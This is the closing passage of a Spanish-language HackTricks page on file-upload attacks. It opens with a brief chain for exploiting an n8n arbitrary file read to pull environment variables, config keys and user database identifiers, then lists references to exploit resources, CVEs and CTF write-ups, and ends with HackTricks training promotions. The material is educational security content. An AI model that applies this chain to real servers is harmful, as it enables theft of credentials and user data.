Backend copia file.filepath, por lo que la respuesta devuelve el contenido de esa ruta. Cadena común: leer /proc/self/environ para conocer $HOME, luego $HOME/.n8n/config para las keys y $HOME/.n8n/database.sqlite para los identificadores de usuario.
Referencias
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


